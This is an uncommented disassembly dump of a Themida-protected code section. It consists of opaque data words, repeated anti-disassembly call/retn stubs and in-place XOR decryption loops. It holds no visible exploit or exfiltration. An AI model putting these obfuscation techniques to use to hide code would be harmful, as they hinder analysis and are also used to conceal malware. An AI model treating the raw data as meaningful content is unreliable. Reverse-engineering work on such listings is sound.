		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DB42CC3h
		dd 669453EAh, 77A9BB6Fh, 0E9FC0622h, 0Ah, 2054ED3h, 777BEAF5h
		dd 0B8DC89h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 33CDC351h, 9DBD8BF4h
		dd 2B07E402h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0CF565E08h, 0F80DA368h, 8A0FFA69h
		dd 1Ah,	12E8h, 0EF2AC700h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h
		dd 0B7064661h, 33AD5B54h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 2DD69FC3h, 0BF158619h, 97791BBh, 28C0Fh, 0FE8B0000h
		dd 880Dh, 6D9D8B00h, 8B07E42Bh,	0E41B7195h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8B60ADDBh, 0E402719Dh, 11E907h, 0CC430000h, 0C27DF0ACh
		dd 0FC6D9072h, 0A1282E00h, 6121CDD0h, 5FD98B51h, 2DA18D8Bh
		dd 8B5007E4h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 68E0Fh, 0CB810000h, 65454F51h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 21C35141h, 82C4F4FCh, 0A7BBB34Ch
		dd 0EE816660h, 816626BEh, 61C0FEC8h, 83FFBF0Fh,	0E40611BDh
		dd 840F0007h, 72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0A9C35545h, 0CCFEBB18h, 0B86963h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5881C350h, 6629782Fh, 13D1C381h, 5659D8Bh
		dd 0F3BF07E4h, 8D7EB0EFh, 0E44FE78Dh, 89FE8B07h, 0E415859Dh
		dd 66E1FF07h, 0F5ADE781h, 701BD8Bh, 0BD8307E4h,	7E422B9h
		dd 13840F00h, 9000004h,	0E40B3D95h, 7E907h, 57800000h
		dd 0E22AF003h, 0B9BD839Dh, 107E422h, 40F840Fh, 95290000h
		dd 7E41B79h, 22B9BD83h,	0F0307E4h, 3C686h, 0DA7BF00h, 6A606BE7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0E0A9C350h, 2781B57Bh, 9589BBBCh,	7E400D1h
		dd 6AD98C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 2BCCC350h, 0E41D61BDh,	0F5B5307h
		dd 389h, 0F9B70F00h, 8B04E180h,	0FC90AD9h, 0E084h, 51858B00h
		dd 8B07E406h, 0E400899Dh, 29853307h, 2907E420h,	0E409F18Dh
		dd 0F605007h, 0E85h, 9E900h, 78E90000h,	51DD6253h, 5056538Ch
		dd 0FFA8B52h, 5AADB131h, 4896158h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0EA806070h
		dd 7914B814h, 8B610F6Ah, 0E42225BDh, 8B006A07h,	0E41C459Dh
		dd 0DDF26807h, 0CBB6CA6h, 8120BFA2h, 0DE0D2434h, 840F6CB9h
		dd 0Ch,	6840Fh,	890F0000h, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+7E42D99h]
		mov	[ebp+7E7F8A5h],	eax
		pusha
		jns	loc_5D89C5
		mov	esi, [ebp+7E40ABDh]


loc_5D89C5:				; CODE XREF: Themida_:005D89B9j
		mov	edi, [ebp+7E4009Dh]
		popa
		jmp	loc_5D8BDB
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D89DC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D89DC	proc near		; CODE XREF: Themida_:005D89D4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D89DC	endp

; ---------------------------------------------------------------------------
		dd 0B6AA8F37h, 8B7D1E96h, 0E408FD9Dh, 9D858B07h, 0BF07E7F8h
		dd 7F1B3B31h, 1800C7h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0E4D8D7C3h, 1E78EE2Ah
		dd 0D1BD2BEFh, 8907E421h, 0E4185185h, 0A1B58B07h, 0F07E7F8h
		dd 585h, 4733BB00h, 10B76FE1h, 99858Bh,	958907E4h, 7E423DDh
		dd 858B0689h, 7E40651h,	4689FC8Ah, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 96A03CBFh
		dd 5BF98A57h, 0DA8B5750h, 0C381965Fh, 7810E161h, 7E9h
		dd 98E20700h, 1027F571h, 0F89DB5FFh, 6A07E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47710C3h
		dd 0D8E7F712h, 8B3B3254h, 0E402299Dh, 219D0B07h, 0E807E42Ah
		dd 4, 1F03FFh, 12E9h, 26BD7D00h, 0EE3C0D9Fh, 0ABAA0FAh
		dd 0C2F8E0B0h, 5050905Fh, 23D7BF66h, 424448Bh, 983EBB66h
		dd 4489008Bh, 0F510424h, 58Eh, 90DABF00h, 585B46F7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 52C35646h, 7E8656Bh
		dd 0CB000000h, 0CA4C0B3Eh, 820FECF8h, 6, 52D9589h, 8D5F07E4h
		dd 0E7F8A585h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 665FE892h, 6A0BCCB0h
		dd 909FB3E2h, 58D0Fh, 2CBF0000h, 50666AA0h, 13E8h, 28807D00h
		dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 418C3FA2h,	905F66B3h
		dd 3880Fh, 8B660000h, 0C18D31FEh, 0FF07E42Fh, 0E42D9995h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 94468F23h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 68h,	4Fh
; ---------------------------------------------------------------------------


loc_5D8BDB:				; CODE XREF: Themida_:005D89CCj
		popa
		push	0
		push	edi
		call	sub_5D8BE7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8BE7	proc near		; CODE XREF: Themida_:005D8BDFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D8BE7	endp

; ---------------------------------------------------------------------------
		push	1Eh
		jnp	loc_5D8C05
		mov	edi, [ebp+7E424F5h]


loc_5D8C05:				; CODE XREF: Themida_:005D8BF9j
		sub	[ebp+7E41A6Dh],	ebx
		or	[ebp+7E408F1h],	edi
		mov	dword ptr [ebp+7E422B9h], 3
		push	0
		push	eax
		call	sub_5D8C26
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8C26	proc near		; CODE XREF: Themida_:005D8C1Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5D8C26	endp

; ---------------------------------------------------------------------------
		mov	[ecx+68AC2494h], ebx
		push	ss
		movsx	ebx, cx
		cmp	dword ptr [ebp+7E7F8A5h], 0
		jz	loc_5D8C73
		jmp	loc_5D8C8E
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D8C5D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8C5D	proc near		; CODE XREF: Themida_:005D8C55p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5D8C5D	endp

; ---------------------------------------------------------------------------
		db 0E9h, 7Ch, 8Dh
; ---------------------------------------------------------------------------
		cld
		and	al, bh


loc_5D8C73:				; CODE XREF: Themida_:005D8C47j
					; Themida_:005D8C8Aj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D8C73
		jmp	short loc_5D8CC4
; ---------------------------------------------------------------------------


loc_5D8C8E:				; CODE XREF: Themida_:005D8C4Dj
					; Themida_:005D8CA5j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D8C8E
		jmp	short loc_5D8CC4
; ---------------------------------------------------------------------------


loc_5D8CA9:				; CODE XREF: Themida_:005D8CC0j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D8CA9
		jmp	short $+2


loc_5D8CC4:				; CODE XREF: Themida_:005D8C8Cj
					; Themida_:005D8CA7j
		mov	eax, eax
		movzx	edi, ax
		push	0
		push	eax
		call	sub_5D8CD4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8CD4	proc near		; CODE XREF: Themida_:005D8CCCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D8CD4	endp

; ---------------------------------------------------------------------------
		dd 9FCEEC31h, 22B9BD83h, 0F0307E4h, 41E85h, 319D8900h
		dd 8307E426h, 0E7F8A5BDh, 840F0007h, 40Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 8EC35545h, 89F72D1Ch
		dd 0E42C29BDh, 0A5B5FF07h, 6A07E7F8h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 22E9C352h
		dd 636F7A64h, 0EE9ADh, 0CCFC0000h, 6BFA3B37h, 6DCF818Dh
		dd 0C8D57C51h, 44D95FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0D9DAEDC3h, 0BF7006D8h
		dd 18AC3365h, 1B29B589h, 0B58B07E4h, 7E7F899h, 20F19D8Bh
		dd 6C707E4h, 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0F8C35141h, 69B58971h, 5007E418h, 3489DF8Bh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 694CC070h, 3E4EEA66h, 0B5FF87B3h, 7E7F8A5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EC35545h
		dd 0FC7A7B8Fh, 1B599D8Bh, 95FF07E4h, 7E42A09h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CEC35747h, 99B58B36h
		dd 6A07E7F8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0AD8BC352h, 26D8F9EEh,	860F50CCh
		dd 6, 1DF99529h, 565F07E4h, 0A419D0Bh, 8B5F07E4h, 0E4316585h
		dd 6840F07h, 3000000h, 0E42A35BDh, 0C4868907h, 89000000h
		dd 0E423099Dh, 9DBD8B07h, 8B07E42Bh, 0E41B7195h, 0D3816607h
		dd 0C283910Dh, 0C19D8B04h, 8907E41Eh, 9D2B2050h, 7E42039h
		dd 0CD4858Dh, 6A07E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 6186ADC3h, 59D99D5Dh, 81AEF763h
		dd 236508DFh, 0B8868917h, 8B000000h, 0E420E9BDh, 8B006A07h
		dd 0E423E99Dh, 0A5B5FF07h, 6A07E7F8h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7C9C355h
		dd 0A2B5A2A3h, 0E8DF8B87h, 5, 441EDF32h, 5BF88AE2h, 95FFF88Bh
		dd 7E431ADh, 21C5DF81h,	50964996h, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 34DAD632h
		dd 0E49D3600h, 5559BF66h, 1CC5BD8Bh, 0B5FF07E4h, 7E7F8A5h
		dd 2C5D8589h, 95FF07E4h, 7E41B11h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0BDC35747h,	9665657h, 0BD838E23h
		dd 7E40DF9h, 4E840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D7A4C357h
		dd 96752945h, 310F5250h, 585AD88Bh, 6A9650h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BD28FC3h
		dd 0E41E299Dh, 0A5B5FF07h, 0F07E7F8h, 180h, 0EE9F900h
		dd 80000000h, 2B8B5C44h, 0DFEB86F7h, 9DA8C8D1h,	7D95FF36h
		dd 6607E402h, 0FFA23ABFh, 0E7F8A5B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 5E600F84h, 9BCC203Eh, 0EE952h, 82D10000h, 4937BA97h
		dd 0D6A9F5BBh, 0CD1F7DC7h, 95FFFE8Ah, 7E40971h,	8E9h, 41CE3600h
		dd 0C67310E1h, 21BD8367h, 207E40Ah, 60840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 4C6852C3h, 29647691h, 0E41B4195h, 0B5858B07h, 6A07E41Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 165DC351h, 31BD1625h, 0AB75BB98h,	0BD890155h
		dd 7E41595h, 0F0000C6h,	85C7DFB7h, 7E42671h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D9113
; ---------------------------------------------------------------------------
		adc	[edi], ah
		add	eax, 14336D91h
		mov	ah, 0A5h
		push	cs


loc_5D9113:				; CODE XREF: Themida_:005D9104j
		jmp	near ptr dword_5D83FC+0CBh
; ---------------------------------------------------------------------------
		jno	loc_5D9131
		jmp	loc_5D9131
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0EEh, 0CFh, 0F0h
		dd 0EAFA5806h, 25F42B6Ah
		db 1Ch
; ---------------------------------------------------------------------------


loc_5D9131:				; CODE XREF: Themida_:005D9118j
					; Themida_:005D911Ej
		mov	eax, ecx
		call	sub_5D9148
		adc	ah, [edx+ebp+6Eh]
		dec	edx
		add	al, 0C7h
		retf
; ---------------------------------------------------------------------------
		dd 5769CF5Dh, 30E161A2h

; =============== S U B	R O U T	I N E =======================================



sub_5D9148	proc near		; CODE XREF: Themida_:005D9133p
		add	bh, 1Fh
		pop	edi
		lea	eax, [ebp+7E40D85h]
		push	0
		push	ecx
		call	sub_5D915D
		and	[ecx-3Dh], bl
sub_5D9148	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D915D	proc near		; CODE XREF: sub_5D9148+Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5D915D	endp

; ---------------------------------------------------------------------------
		das
		cmp	esi, [edx]
		test	al, 0F9h
		push	eax
		jmp	loc_5D9189
; ---------------------------------------------------------------------------
		dd 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h
		db 2
; ---------------------------------------------------------------------------


loc_5D9189:				; CODE XREF: Themida_:005D9173j
		mov	[esp], eax
		push	0
		push	eax
		call	sub_5D9197
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9197	proc near		; CODE XREF: Themida_:005D918Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D9197	endp

; ---------------------------------------------------------------------------
		inc	ebp
		mov	eax, ds:4647A7CBh
		sbb	al, 65h
		mov	ebx, [ebp+7E42025h]
		mov	bx, 0FE48h
		push	0
		mov	ebx, eax
		push	0
		push	0
		push	ebp
		call	sub_5D91CA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D91CA	proc near		; CODE XREF: Themida_:005D91C2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5D91CA	endp

; ---------------------------------------------------------------------------
		pop	edx
		lea	eax, [ebp+7E96E88h]
		push	0
		push	ecx
		call	sub_5D91EC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D91EC	proc near		; CODE XREF: Themida_:005D91E4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D91EC	endp

; ---------------------------------------------------------------------------
		dd 5E189BE2h, 8B66F8A6h, 5C083F8h, 50FABF0Fh, 489FD8Ah
		dd 0D4C78124h, 6A559A92h, 14E800h, 8E420000h, 61C79BDh
		dd 1ACE01CCh, 6C5A7736h, 552D1A5Fh, 11E971EEh, 29000000h
		dd 0F0E4EE1Eh, 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 0FF006A5Bh
		dd 0E4247195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BB66C34Dh, 0B589AC86h
		dd 7E40065h, 0D64B8D8Dh, 0D1FF07E7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0B4C35545h,	5E8A2h,	4CE90000h
		dd 35D8A20h, 0E41BC19Dh, 0BD835B07h, 7E42015h, 58850F01h
		dd 80000000h, 26AE1C7h,	126DB589h, 509007E4h, 0BF505250h
		dd 5C54CA3Ah, 60310F5Bh, 6325CAB9h, 0DFD9BF45h,	5A6112C7h
		dd 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 7E30CAC3h, 79DBE17Ah, 13B1BD8Bh, 95FF07E4h
		dd 7E431ADh, 0E99DC780h, 0E54h,	0E8h, 0ED815D00h, 7E96E92h
		dd 8FE54BBh, 0D19D8B1Bh, 6A07E429h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 888C351h
		dd 81C014DFh, 0B7F8D0DFh, 0E1858D14h, 3107E7C6h, 0E42219BDh
		dd 13E99007h, 2E000000h, 85DDAE2Eh, 0EA474BC0h,	0F5162D95h
		dd 0D97C35A6h, 9050ADDAh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0D1C35040h, 40CE076Eh, 0F725BF28h, 8B6075ADh
		dd 0E4127D8Dh, 81BD8907h, 6107E419h, 35FF64h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 80C2C355h, 896421CFh, 25h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 71C02BA6h, 85FF6E0Dh, 7E420B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 65C35646h, 0F88AB34Dh, 6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 57B222C3h, 0A5EE4105h, 56BA3FA0h, 34A4BF66h,	15B5FF5Fh
		dd 6A07E40Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 7CA2C350h, 0FF5EBB1Ch,	0E4304D95h
		dd 10EE907h, 33BF0000h,	0B058C725h, 11858900h, 0E607E40Eh
		dd 0E3816670h, 71E43AC3h, 3CFEB70Fh, 0ED830F61h, 66000000h
		dd 0F9636BBh, 6BAC8B6h,	8B000000h, 12BB66C1h, 4E8C1DEh
		dd 0BE9h, 0CE06FE00h, 0D07C3611h, 5003F71Eh, 52E2F766h
		dd 0EB7B5BFh, 0C82B5F47h, 0E699D8Bh, 0D18B07E4h, 95895251h
		dd 7E42C29h, 0A5E95F5Fh, 66000000h, 8B5D69BBh, 47554C85h
		dd 0F9BF6649h, 7C083BBh, 19CDBD8Bh, 0C08307E4h,	68E0F00h
		dd 8B000000h, 0E413899Dh, 0FD03B07h, 2483h, 5E900h, 4EDB0000h
		dd 0F79BB1Dh, 58Fh, 0DF816600h,	5DE92F7Fh, 0F000000h
dword_5D9534	dd 48Ah, 0DBF6600h, 0FF8D8BC9h,	0F5FFFFFFh, 3840Fh, 8B660000h
					; DATA XREF: Themida_:005850E4o
		dd 1E183DFh, 3A840Fh, 8D0F0000h, 6, 20219D8Bh, 0A58307E4h
		dd 0FFFFFFFFh, 0DE8FEh,	1FD80000h, 0A01546BEh, 278E4C0Fh
		dd 31FB9BE3h, 0E41C999Dh, 95895F07h, 4947554Ch,	0E9FE8B66h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7E8EA0Eh]
		push	0
		push	esi
		call	sub_5D95A1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D95A1	proc near		; CODE XREF: Themida_:005D9599p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5D95A1	endp

; ---------------------------------------------------------------------------
		db 53h,	98h, 0D8h
		dd 0D380E8FFh, 619D8B33h, 6A07E40Bh, 0A9BB6600h, 4195FF33h
		dd 0F07E40Eh, 0D1B9FBB7h, 6A00000Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 38CAC350h
		dd 835B57A3h, 0FE9FCE1h, 94000000h, 871C084Fh, 92E00A8Ah
		dd 50A0B04Ah, 0FA8BC1C3h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 36F20339h
		dd 2BAD8529h, 0BD8B07E4h, 7E413C9h, 0B8h, 599D2300h, 2B07E422h
		dd 33ADF8D2h, 3E8D1C2h,	4E983D0h, 8166F475h, 563E5ED7h
		dd 880D5Bh, 8D890000h, 7E41B55h, 1B71958Bh, 6A07E4h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 1DB2E0C3h, 0EB816B77h, 3175866Fh, 0FE9h, 0C026D400h
		dd 196ECBE2h, 95B64BC1h, 0CC2E1CE1h, 2DA18D8Bh,	8B5007E4h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FC35747h, 0FAD780E3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A1C35040h
		dd 8580D0BEh, 44A4EBB5h, 6348B860h, 61F84B80h, 0AF19509h
		dd 0BD8307E4h, 7E40611h, 5D840F00h, 81000000h, 3A8CF9C7h
		dd 0B816h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 9F0BDFC3h, 5B589D8h, 8D07E42Ah
		dd 0E44FE78Dh, 59BD8B07h, 0FF07E424h, 50006AE1h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0FA312F67h, 22B9BD83h, 0F0007E4h, 3EA84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 14E9EFh, 0DFB00000h,	88BDD70Ch, 657B308Dh, 0C9D66382h
		dd 93D529E5h, 0BD83EC66h, 7E422B9h, 0C3840F01h,	6A000003h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0ED91C353h, 85F8E9E4h, 2B3F97FDh,	83DF8B66h
		dd 0E422B9BDh, 860F0307h, 358h,	6810Fh,	0BD010000h, 7E412B9h
		dd 0F8BF0F60h, 1C9BD8Bh, 8C6607E4h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 9736FA0Ch
		dd 48DB8A0Eh, 7DF81F3h,	80140CFAh, 6A04E1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 87BB5C3h
		dd 1D575AF8h, 0D585890Ah, 0A07E401h, 21840FC9h,	6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9382C355h, 7E96A65h, 2000000h, 0FBE5334Ch
		dd 8529548Eh, 7E404BDh,	651858Bh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 280640C3h
		dd 63D0D7C9h, 8D09D01Ch, 7E43235h, 20298533h, 6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 3BFFA1C3h, 904984E2h, 4810F50h, 60000000h, 90616160h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 73C35141h
		dd 4843484Bh, 6024122Bh, 1890Fh, 8BF50000h, 6A61C7h, 81D9B70Fh
		dd 1B520CC3h, 0A5976815h, 8B667EA9h, 243481FBh,	7EB6A668h
		dd 1D19D8Bh, 0FFF807E4h, 0E42D9995h, 6EDB8107h,	890C5A1Ch
		dd 0E42F89B5h, 0A5858907h, 6A07E7F8h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3D81C351h
		dd 170E9h, 5CE78000h, 0F89D858Bh, 12E807E7h, 0D5000000h
		dd 0BA7BCFFFh, 20FD2453h, 899A9A15h, 35850079h,	0BE86BB99h
		dd 0F5B3B7Ch, 0C7FFB7h,	18h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 42C35040h, 8B12DF80h, 0E7F8A1B5h
		dd 0F59D8B07h, 8B07E423h, 0E4009985h, 0C5BD8B07h, 8A07E400h
		dd 0FC0689DEh, 651858Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 14F799C3h, 468906F8h
		dd 96F98B04h, 0E8525053h, 8, 0C3DACFF8h, 7A9B3493h, 66310F5Fh
		dd 5A12E0BBh, 0F505F58h, 8Eh, 6A9600h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C8E56EC3h
		dd 54D72DFCh, 0FF174A73h, 0E7F89DB5h, 45BD3307h, 6807E40Eh
		dd 4EC1731Ch, 3481FB8Bh, 0DE70E324h, 15BD034Eh,	8D07E425h
		dd 0E7F8A585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 21BA5183h, 2C319D8Bh
		dd 605007E4h, 0EE8h, 0EECB6200h, 5806F0CFh, 2B6AEAFAh
		dd 8B1C25F4h, 89615FD7h, 85292404h, 7E40911h, 2D9995FFh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 8F10EDC3h, 85C7616Dh, 7E422B9h, 3, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h, 0EFDF4983h
		dd 0BD8350B3h, 7E7F8A5h, 19840F00h, 29000000h, 0E423E9B5h
		dd 29E907h, 9E90000h, 7B000000h, 84084749h, 0DE4CBFh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0CE3AC352h, 0A71673Dh, 12E825h, 8CDC0000h, 76B29BECh
		dd 2F64DDC7h, 0F3AC5D4h, 6084DBC6h, 0FE9h, 422E3A00h, 6EAEE137h
		dd 0D6524546h, 7C91323Ah, 6E85Fh, 0D9010000h, 0AD8B2E75h
		dd 12E9h, 25716800h, 48086BB7h,	0AE3683F6h, 0DC0B2EF5h
		dd 5F6EE9F2h, 25F99589h, 0BD8307E4h, 7E422B9h, 850F03h
		dd 6A000005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 8248C350h, 94DDF7A8h, 8A6D3118h
		dd 95EF81FCh, 834F225Eh, 0E7F8A5BDh, 840F0007h,	4C7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CDC35646h, 95891071h
		dd 7E42431h, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 6F513EC3h, 0B08ABD0h
		dd 0E42B9D9Dh, 0D9D8907h, 0FF07E416h, 0E4044D95h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 96BE6F1Fh, 0AE9D756h, 21000000h, 0BF9B9739h,	56ED9B5Dh
